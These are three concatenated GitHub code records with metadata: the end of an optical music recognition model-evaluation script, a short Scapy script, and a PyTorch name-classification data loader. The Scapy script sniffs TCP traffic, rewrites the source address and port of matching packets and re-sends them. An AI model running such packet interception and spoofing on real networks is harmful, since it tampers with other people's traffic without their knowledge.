result_file is not None else None,\n                work_dir=str(result_folder),\n                iou_thrs=overlaps\n            )  # Extremely slow...\n            needs_to_be_exported = True\n        msg3(f'Reading calculated metrics from \\033[1m{str(metrics_fp)}\\033[m')\n        metrics = mmcv.load(metrics_fp)\n\n        prop_stat_fp = result_folder / 'proposal_stats.csv'\n        if (result_file is not None and not prop_stat_fp.exists()) or needs_to_be_exported:\n            msg3(f\"Calculating statistics for results -> {prop_stat_fp.name}\")\n            with open(result_file, 'r') as fp:\n                save_proposal_stats(json.load(fp), prop_stat_fp, data_loader)\n\n        msg3(f'Compiling metrics with overlaps \\033[1m{overlaps_str}\\033[m')\n        for cls, overlap_metrics in metrics.items():\n            for overlap in overlaps:\n                overlap_metrics[overlap] = overlap_metrics[overlap].get('ap', np.NaN)\n            metrics[cls] = overlap_metrics\n        for cls in data_loader.dataset.CLASSES:\n            stats[cls].append(metrics.get(cls, {}))\n        for cls, metrics in stats.items():\n            sub_stats[cls].append(metrics[-1])\n            stats[cls].append(metrics[-1])\n\n        save_predictions(outputs_m[checkpoint_file][data_loader], result_folder / args.json_out, data_loader, args)\n    plot_stats(overlaps, chkp_folder, sub_stats, sub_index, dataset_names)\n    index.extend(sub_index)  # We need the meta index for the meta plots (duh)\n\n\ndef evaluate_results(outputs: list, result_folder: Path, data_loader: DataLoader, checkpoint_id: str, overlaps: np.ndarray, stats: dict, args: Namespace):\n    overlaps_str = str(overlaps).replace(\"\\n\", \"\")\n    metrics_fp = result_folder / \"dsv2_metrics.pkl\"\n    result_folder = result_folder / Path(data_loader.dataset.ann_file).stem\n    result_file = None\n    if args.json_out is not None:\n        result_file = result_folder / args.json_out\n    needs_to_be_exported = False\n    if not metrics_fp.exists() or not args.cache:\n        msg3(\n            f\"Evaluating: \\033[1m{str(checkpoint_id)}\\033[m on \\033[1m{data_loader.dataset.ann_file}\\033[m in \\033[1m{str(result_folder)}\\033[m\")\n        data_loader.dataset.evaluate(\n            ensure_8_tuple(outputs),\n            result_json_filename=str(result_file) if result_file is not None else None,\n            work_dir=str(result_folder),\n            iou_thrs=overlaps\n        )  # Extremely slow...\n        needs_to_be_exported = True\n    msg3(f'Reading calculated metrics from \\033[1m{str(metrics_fp)}\\033[m')\n    metrics = mmcv.load(metrics_fp)\n\n    prop_stat_fp = result_folder / 'proposal_stats.csv'\n    if (result_file is not None and not prop_stat_fp.exists()) or needs_to_be_exported:\n        msg3(f\"Calculating statistics for results -> {prop_stat_fp.name}\")\n        with open(result_file, 'r') as fp:\n            save_proposal_stats(json.load(fp), prop_stat_fp, data_loader)\n\n    msg3(f'Compiling metrics with overlaps \\033[1m{overlaps_str}\\033[m')\n    for cls, overlap_metrics in metrics.items():\n        for overlap in overlaps:\n            overlap_metrics[overlap] = overlap_metrics[overlap].get('ap', np.NaN)\n        metrics[cls] = overlap_metrics\n    for cls in data_loader.dataset.CLASSES:\n        stats[cls].append(metrics.get(cls, {}))\n    # for cls, metrics in stats.items():\n    #     stats[cls].append(metrics[-1])\n    save_predictions(outputs, result_folder / args.json_out, data_loader, args)\n\n\ndef test_checkpoint(\n        main_config,\n        model,\n        checkpoint_id: str,\n        checkpoint_file: Path,\n        checkpoint: dict,\n        out_folder: Path,\n        proposals_fp: Path,\n        distributed: bool,\n        args\n) -> Generator[Tuple[str, DataLoader, list], None, None]:\n    checkpoint_id, chkp_folder, test_set_kwargs, test_sets = prepare_folder(checkpoint_id, checkpoint, checkpoint_file, out_folder)\n    test_set_kwargs['distributed'] = distributed\n    for data_loader in get_test_sets(*test_sets, **test_set_kwargs):\n        ann_file = Path(data_loader.dataset.ann_file)\n        index = f\"{checkpoint_id} - {ann_file.stem}\"\n        msg2(f\"Selecting dataset: \\033[1m{ann_file.stem}\\033[m\")\n        result_folder = chkp_folder / ann_file.stem\n        result_folder.mkdir(exist_ok=True)\n\n        outputs = get_proposals(checkpoint, main_config, model, data_loader, result_folder / proposals_fp, distributed, args)\n        yield index, data_loader, outputs, result_folder / proposals_fp\n\n        # metrics = evaluate_proposals(outputs_m[checkpoint_file][data_loader], cfg, checkpoint_file, overlaps, data_loader, result_folder, args)\n        # eval_types = args.eval\n        # data_name = args.data\n        # assert data_name in ['dsv2']\n        # from mmdet.core import outputs_rotated_box_to_poly_np\n        #\n        # for page in outputs_m[checkpoint_file][data_loader]:\n        #     page.insert(0, np.array([]))\n        #\n        # outputs_m[checkpoint_file][data_loader] = outputs_rotated_box_to_poly_np(outputs_m[checkpoint_file][data_loader])\n\ndef infer_checkpoint(checkpoint: dict, main_config: Config, model: Sequential, data_loader: DataLoader, folder: Path,\n                     args: Namespace) -> Tuple[list, Path]:\n    ann_file = Path(data_loader.dataset.ann_file)\n    msg2(f\"Running checkpoint on dataset: \\033[1m{ann_file.stem}\\033[m\")\n    result_folder = folder / ann_file.stem\n    result_folder.mkdir(exist_ok=True)\n    eval_fp = result_folder / args.out\n    outputs = get_proposals(checkpoint, main_config, model, data_loader, eval_fp, args)\n    return outputs, eval_fp\n\n\ndef prepocess_WBF(props):\n    for i, row in props.iterrows():\n        if row.cat_id == 42 or row.cat_id == 2:\n            # 2 is stem, 42 is ledgerLine\n            props.at[i, 'bbox'] = BboxHelper(row.bbox).get_sorted_angle_zero()\n\ndef wbf_proposals_to_output(proposals: pd.DataFrame) -> List[List[np.ndarray]]:\n    output = []\n    last_img_idx = 0\n    def new_sample():\n        sample_output = []\n        for _ in range(135):\n            sample_output.append(np.zeros((0, 6)))\n        output.append(sample_output)\n        return sample_output\n    sample_output = new_sample()\n    for bbox, cat_id, img_idx, score in proposals.values:\n        if img_idx != last_img_idx:\n            sample_output = new_sample()\n            last_img_idx = img_idx\n        bboxes: np.ndarray = sample_output[cat_id - 1]\n        #bbox = rotated_box_to_poly_np(bbox[:5])\n        bbox = np.concatenate([bbox, np.array([score])])\n        sample_output[cat_id - 1] = np.concatenate([bboxes.reshape((-1, 9)), bbox.reshape((1, 9))])\n    return output\n\ndef ensure_8_tuple(outputs: List[List[np.ndarray]]) -> List[List[np.ndarray]]:\n    for sample in outputs:\n        for i, cls in enumerate(sample):\n            if cls.shape[0] == 0:\n                cls = cls.reshape((0, 9))\n            elif cls.shape[1] == 6:\n                cls = np.concatenate([rotated_box_to_poly_np(cls[:,:5]), cls[:,5].reshape(-1, 1)], axis=1)\n            sample[i] = cls\n    return outputs\n\ndef main():\n    args = parse_args()\n\n    assert args.out or args.show or args.json_out, \\\n        ('Please specify at least one operation (save or show the results) '\n         'with the argument \"--out\" or \"--show\" or \"--json_out\"')\n\n    if args.out is not None and not args.out.endswith(('.pkl', '.pickle')):\n        raise ValueError('The output file must be a pkl file.')\n\n    if args.postprocess:\n        render.fill_cache()\n\n    cfg = mmcv.Config.fromfile(args.config)\n    # set cudnn_benchmark\n    if cfg.get('cudnn_benchmark', False):\n        torch.backends.cudnn.benchmark = True\n    cfg.model.pretrained = None\n    # cfg.model.rpn_pretrained = None\n    # cfg.model.rcnn_pretrained = None\n\n    cfg.data.test.test_mode = True\n\n    # init distributed env first, since logger depends on the dist info.\n    if args.launcher == 'none':\n        distributed = False\n    else:\n        distributed = True\n        init_dist(args.launcher, **cfg.dist_params)\n\n    out_folder = Path('eval')\n    proposals_fp = Path(args.out)\n    if args.json_out:\n        json_out_fp = Path(args.json_out)\n\n    index = []\n    stats = {'samples': []}\n    msg1(\"Loading basic test sets\")\n    tmp_test_sets = get_test_sets(*TEST_SETS)\n    stats.update({key: [] for key in tmp_test_sets[0].dataset.CLASSES})\n    dataset_names = []\n    for tmp_test_set in tmp_test_sets:\n        dataset_names.append(tmp_test_set.dataset.obb.dataset_info['description'])\n\n    # Make sure we only use the best epochs for each config\n    checkpoints = preprocess_checkpoints(args.checkpoints, cfg)\n\n    overlaps = np.arange(0.1, 0.96, 0.05)\n    outputs_m = defaultdict(dict)\n    metrics = {}\n    for checkpoint_id, checkpoint_data in checkpoints.items():\n        if isinstance(checkpoint_data, tuple):\n            checkpoint_file, checkpoint, model = checkpoint_data\n            outputs = {}\n            sub_stats = defaultdict(list)\n            checkpoint_id, chkp_folder, test_set_kwargs, test_sets = prepare_folder(checkpoint_id, checkpoint, checkpoint_file, out_folder)\n            test_set_kwargs['distributed'] = distributed\n            for data_loader in get_test_sets(*test_sets, **test_set_kwargs):\n                ann_file = Path(data_loader.dataset.ann_file)\n                index.append(f\"{checkpoint_id} - {ann_file.stem}\")\n                output, _ = infer_checkpoint(checkpoint, cfg, model, data_loader, chkp_folder, args)\n                outputs[data_loader] = output\n                sub_stats['samples'].append(len(data_loader.dataset.img_ids))\n                # Evaluate results\n                evaluate_results(output, chkp_folder, data_loader, checkpoint_id, overlaps, sub_stats, args)\n                outputs_m[checkpoint_id][data_loader] = output\n            for cls, aps in sub_stats.items():\n                stats[cls].extend(aps)\n        elif isinstance(checkpoint_data, list):\n            mm_index = []\n            mm_stats = {'samples': []}\n            sub_stats = defaultdict(list)\n            ensemble_folder = out_folder / checkpoint_id\n            ensemble_folder.mkdir(parents=True, exist_ok=True)\n            test_set_kwargs = {\n                'workers_per_gpu': 4,\n                'distributed': distributed,\n            }\n            for data_loader in get_test_sets(*TEST_SETS, **test_set_kwargs):\n                ann_file = Path(data_loader.dataset.ann_file)\n                wbf_glob_dir = ensemble_folder / ann_file.stem\n                wbf_glob_dir.mkdir(exist_ok=True)\n                for checkpoint_sub_id, checkpoint_file, checkpoint, model in checkpoint_data:\n                    checkpoint_sub_id, chkp_folder, _, test_sets = prepare_folder(checkpoint_sub_id, checkpoint, checkpoint_file, ensemble_folder)\n                    idx = f\"{checkpoint_sub_id} - {ann_file.stem}\"\n                    output, eval_fp = infer_checkpoint(checkpoint, cfg, model, data_loader, chkp_folder, args)\n\n                    # When using the WBF load_proposals function, copy the results.json file into a special folder for\n                    # recursively finding the results.json files\n                    folder = wbf_glob_dir / checkpoint_sub_id\n                    folder.mkdir(exist_ok=True)\n                    shutil.copyfile(chkp_folder / ann_file.stem / args.json_out, folder / 'result.json')\n                sub_stats['samples'].append(len(data_loader.dataset.img_ids))\n                mm_index.append(f\"{checkpoint_id} - {ann_file.stem}\")\n                index.append(f\"{checkpoint_id} - {ann_file.stem}\")\n                proposal_fp = ensemble_folder / f\"wbf_proposals.pkl\"\n                if not proposal_fp.exists():\n                    msg2(\"Running weighted box fusion\")\n                    wbf_proposals: DataFrame = load_proposals(Namespace(inp=wbf_glob_dir), data_loader.dataset, iou_thr=0.3)\n                    wbf_proposals.to_pickle(proposal_fp)\n                else:\n                    msg2(\"Loading weighted box fusion results\")\n                    wbf_proposals: DataFrame = pd.read_pickle(proposal_fp)\n                output2 = wbf_proposals_to_output(wbf_proposals)\n                outputs_m[checkpoint_id][data_loader] = output2\n                args.cache = False\n                evaluate_results(outputs_m[checkpoint_id][data_loader], ensemble_folder, data_loader, checkpoint_id, overlaps, sub_stats, args)\n                args.cache = True\n            for cls, aps in sub_stats.items():\n                stats[cls].extend(aps)\n    print('#' * 30)\n    print('#' * 30)\n    print('#' * 30)\n    msg1(f\"Evaluating stats\")\n    plot_stats(overlaps, out_folder, stats, index, dataset_names)\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "raember/s2anet_autodidact", "sub_path": "tools/test_multi_model.py", "file_name": "test_multi_model.py", "file_ext": "py", "file_size_in_byte": 48380, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PIL.Image.fromarray", "line_number": 197, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 197, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 198, "usage_type": "call"}, {"api_name": "DeepScoresV2_s2anet.omr_prototype_alignment.prototype_alignment._process_single", "line_number": 199, "usage_type": "call"}, {"api_name": "DeepScoresV2_s2anet.omr_prototype_alignment.prototype_alignment", "line_number": 199, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 202, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.round", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.round", "line_number": 223, "usage_type": "call"}, {"api_name": "mmcv.ProgressBar", "line_number": 231, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 233, "usage_type": "call"}, {"api_name": "mmdet.core.bbox2result", "line_number": 245, "usage_type": "call"}, {"api_name": "mmdet.core.rotated_box_to_poly_np", "line_number": 254, "usage_type": "name"}, {"api_name": "mmcv.runner.get_dist_info", "line_number": 267, "usage_type": "call"}, {"api_name": "mmcv.ProgressBar", "line_number": 269, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 271, "usage_type": "call"}, {"api_name": "mmdet.core.bbox2result", "line_number": 283, "usage_type": "call"}, {"api_name": "mmcv.runner.get_dist_info", "line_number": 299, "usage_type": "call"}, {"api_name": "torch.full", "line_number": 304, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 306, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 309, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 310, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 311, "usage_type": "attribute"}, {"api_name": "torch.distributed.broadcast", "line_number": 313, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 313, "usage_type": "name"}, {"api_name": "mmcv.mkdir_or_exist", "line_number": 316, "usage_type": "call"}, {"api_name": "mmcv.dump", "line_number": 318, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 318, "usage_type": "call"}, {"api_name": "os.path", "line_number": 318, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 319, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 319, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path", "line_number": 327, "usage_type": "name"}, {"api_name": "mmcv.load", "line_number": 328, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 336, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 341, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 390, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 391, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 395, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 397, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 400, "usage_type": "call"}, {"api_name": "mmcv.Config.fromfile", "line_number": 403, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 403, "usage_type": "name"}, {"api_name": "mmcv.Config", "line_number": 405, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 395, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 410, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 411, "usage_type": "call"}, {"api_name": "mmdet.datasets.build_dataset", "line_number": 412, "usage_type": "call"}, {"api_name": "functools.lru_cache", "line_number": 408, "usage_type": "call"}, {"api_name": "mmcv.DataLoader", "line_number": 409, "usage_type": "name"}, {"api_name": "mmcv.Config", "line_number": 414, "usage_type": "name"}, {"api_name": "mmdet.datasets.build_dataloader", "line_number": 417, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 418, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 414, "usage_type": "name"}, {"api_name": "mmcv.DataLoader", "line_number": 414, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 427, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 427, "usage_type": "name"}, {"api_name": "numpy.float", "line_number": 427, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 427, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 451, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 456, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 456, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 457, "usage_type": "call"}, {"api_name": "itertools.cycle", "line_number": 461, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 467, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 467, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 470, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 470, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 473, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 473, "usage_type": "name"}, {"api_name": "numpy.float", "line_number": 476, "usage_type": "attribute"}, {"api_name": "numpy.NaN", "line_number": 484, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 485, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 476, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 488, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 488, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 498, "usage_type": "name"}, {"api_name": "mmcv.Config", "line_number": 498, "usage_type": "name"}, {"api_name": "mmdet.models.build_detector", "line_number": 499, "usage_type": "call"}, {"api_name": "mmdet.core.wrap_fp16_model", "line_number": 502, "usage_type": "call"}, {"api_name": "mmcv.runner.load_checkpoint", "line_number": 505, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 513, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 521, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 498, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 498, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 531, "usage_type": "name"}, {"api_name": "mmcv.Config", "line_number": 531, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 534, "usage_type": "argument"}, {"api_name": "pathlib.Path", "line_number": 567, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 574, "usage_type": "call"}, {"api_name": "dateutil.parser.parse", "line_number": 577, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 610, "usage_type": "call"}, {"api_name": "os.path", "line_number": 610, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 567, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 615, "usage_type": "name"}, {"api_name": "mmcv.DataLoader", "line_number": 615, "usage_type": "name"}, {"api_name": "mmdet.core.poly_to_rotated_box_single", "line_number": 620, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 621, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 626, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 626, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 628, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 632, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 632, "usage_type": "name"}, {"api_name": "mmcv.DataLoader", "line_number": 632, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 632, "usage_type": "name"}, {"api_name": "argparse.Namespace", "line_number": 632, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 642, "usage_type": "call"}, {"api_name": "mmcv.parallel.MMDataParallel", "line_number": 645, "usage_type": "call"}, {"api_name": "mmcv.parallel.MMDistributedDataParallel", "line_number": 648, "usage_type": "call"}, {"api_name": "mmcv.dump", "line_number": 653, "usage_type": "call"}, {"api_name": "mmcv.load", "line_number": 657, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 661, "usage_type": "name"}, {"api_name": "mmcv.DataLoader", "line_number": 661, "usage_type": "name"}, {"api_name": "mmcv.runner.get_dist_info", "line_number": 663, "usage_type": "call"}, {"api_name": "mmdet.core.results2json", "line_number": 670, "usage_type": "call"}, {"api_name": "mmdet.core.results2json", "line_number": 677, "usage_type": "call"}, {"api_name": "mmdet.core.outputs_rotated_box_to_poly_np", "line_number": 680, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 683, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 683, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 683, "usage_type": "attribute"}, {"api_name": "mmcv.DataLoader", "line_number": 683, "usage_type": "name"}, {"api_name": "mmdet.core.coco_eval", "line_number": 691, "usage_type": "call"}, {"api_name": "mmdet.core.results2json", "line_number": 694, "usage_type": "call"}, {"api_name": "mmdet.core.coco_eval", "line_number": 695, "usage_type": "call"}, {"api_name": "mmdet.core.results2json", "line_number": 700, "usage_type": "call"}, {"api_name": "mmdet.core.coco_eval", "line_number": 701, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 704, "usage_type": "call"}, {"api_name": "os.path", "line_number": 704, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 710, "usage_type": "call"}, {"api_name": "mmdet.core.outputs_rotated_box_to_poly_np", "line_number": 712, "usage_type": "call"}, {"api_name": "mmcv.load", "line_number": 730, "usage_type": "call"}, {"api_name": "json.load", "line_number": 736, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 744, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 746, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 747, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 748, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 759, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 766, "usage_type": "call"}, {"api_name": "os.path", "line_number": 766, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 778, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 785, "usage_type": "call"}, {"api_name": "mmdet.core.coco_eval", "line_number": 802, "usage_type": "call"}, {"api_name": "mmdet.core.results2json", "line_number": 805, "usage_type": "call"}, {"api_name": "mmdet.core.coco_eval", "line_number": 807, "usage_type": "call"}, {"api_name": "mmdet.core.results2json", "line_number": 813, "usage_type": "call"}, {"api_name": "mmdet.core.coco_eval", "line_number": 815, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 818, "usage_type": "call"}, {"api_name": "os.path", "line_number": 818, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 824, "usage_type": "call"}, {"api_name": "mmdet.core.outputs_rotated_box_to_poly_np", "line_number": 826, "usage_type": "call"}, {"api_name": "mmcv.load", "line_number": 845, "usage_type": "call"}, {"api_name": "json.load", "line_number": 851, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 856, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 869, "usage_type": "name"}, {"api_name": "mmcv.DataLoader", "line_number": 869, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 869, "usage_type": "attribute"}, {"api_name": "argparse.Namespace", "line_number": 869, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 872, "usage_type": "call"}, {"api_name": "mmcv.load", "line_number": 888, "usage_type": "call"}, {"api_name": "json.load", "line_number": 894, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 899, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 912, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 914, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 915, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 922, "usage_type": "call"}, {"api_name": "typing.Generator", "line_number": 918, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 918, "usage_type": "name"}, {"api_name": "mmcv.DataLoader", "line_number": 918, "usage_type": "name"}, {"api_name": "mmcv.Config", "line_number": 942, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 942, "usage_type": "name"}, {"api_name": "mmcv.DataLoader", "line_number": 942, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 942, "usage_type": "name"}, {"api_name": "argparse.Namespace", "line_number": 943, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 944, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 943, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 943, "usage_type": "name"}, {"api_name": "DeepScoresV2_s2anet.analyze_ensembles.draw_WBF_for_multi_model.BboxHelper", "line_number": 957, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 959, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 965, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 973, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 975, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 975, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 976, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 959, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 959, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 979, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 979, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 985, "usage_type": "call"}, {"api_name": "mmdet.core.rotated_box_to_poly_np", "line_number": 985, "usage_type": "call"}, {"api_name": "DeepScoresV2_s2anet.omr_prototype_alignment.render.fill_cache", "line_number": 1000, "usage_type": "call"}, {"api_name": "DeepScoresV2_s2anet.omr_prototype_alignment.render", "line_number": 1000, "usage_type": "name"}, {"api_name": "mmcv.Config.fromfile", "line_number": 1002, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 1002, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 1005, "usage_type": "attribute"}, {"api_name": "mmdet.apis.init_dist", "line_number": 1017, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 1019, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 1020, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 1022, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1036, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 1037, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 1043, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 1047, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 1060, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 1068, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 1080, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1087, "usage_type": "name"}, {"api_name": "DeepScoresV2_s2anet.analyze_ensembles.draw_WBF_for_multi_model.load_proposals", "line_number": 1087, "usage_type": "call"}, {"api_name": "argparse.Namespace", "line_number": 1087, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1091, "usage_type": "name"}, {"api_name": "pandas.read_pickle", "line_number": 1091, "usage_type": "call"}]}
{"seq_id": "13251020106", "text": "# Suppress Scapy IPv6 warning\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\n\n# Begin our Scapy script.\nfrom scapy.all import *\n\nold_server = '10.230.228.146'\nnew_server = '10.230.228.104'\nold_port = 8000\nnew_port = 8888\ntimeout = 5\nfilter = 'tcp'\n\n\ndef rewrite(pkt):\n    if pkt[IP].dst == old_server and pkt[TCP].dport == old_port:\n        # Modify the packet\n        print('ORIG: {0}'.format(pkt.summary()))\n        pkt[IP].src = new_server\n        pkt[TCP].dport = new_port\n        print('NEW: {0}'.format(pkt.summary()))\n        print()\n\n        # Send the modified packet\n        sendp(pkt)\n\nsniff(filter=filter, prn=rewrite)\n", "repo_name": "averagesecurityguy/scapy", "sub_path": "rewrite.py", "file_name": "rewrite.py", "file_ext": "py", "file_size_in_byte": 658, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 3, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 3, "usage_type": "attribute"}]}
{"seq_id": "41353485076", "text": "from typing import Tuple, List, NewType\n\nimport csv\n\nimport torch\nfrom torch import Tensor\n\nfrom utils import Encoder\n\n##################################################\n# Types\n##################################################\n\n# Input: person name (Bach, Reynolds, etc.)\nName = str\n\n# Input character\nChar = str\n\n# Output: the language (German, English, etc.)\nLang = str\n\n##################################################\n# Data extraction\n##################################################\n\ndef load_data(file_path: str) -> List[Tuple[Name, Lang]]:\n    \"\"\"Load the dataset from a .csv file.\"\"\"\n    data_set = []\n    with open(file_path, 'r', encoding='utf8') as file:\n        csv_reader = csv.reader(file, delimiter=',')\n        for name, lang in csv_reader:\n            data_set.append((name, lang))\n    return data_set\n\n##################################################\n# Encoding\n##################################################\n\ndef create_encoders(data: List[Tuple[Name, Lang]]) \\\n        -> Tuple[Encoder[Char], Encoder[Lang]]:\n    \"\"\"Create the encoders for the input characters and\n    the output languages.\"\"\"\n    char_enc = Encoder(char for name, lang in data for char in name)\n    lang_enc = Encoder(lang for name, lang in data)\n    return char_enc, lang_enc\n\ndef encode_with(\n    data: List[Tuple[Name, Lang]],\n    char_enc: Encoder[Char],\n    lang_enc: Encoder[Lang],\n) -> List[Tuple[Tensor, Tensor]]:\n    enc_data = []\n    for name, lang in data:\n        enc_name = torch.tensor([char_enc.encode(char) for char in name])\n        enc_lang = torch.tensor(lang_enc.encode(lang))\n        enc_data.append((enc_name, enc_lang))\n    return enc_data\n", "repo_name": "kawu/hhu-dl-solutions-2020", "sub_path": "7/data.py", "file_name": "data.py", "file_ext": "py", "file_size_in_byte": 1664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.reader", "line_number": 31, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 40, 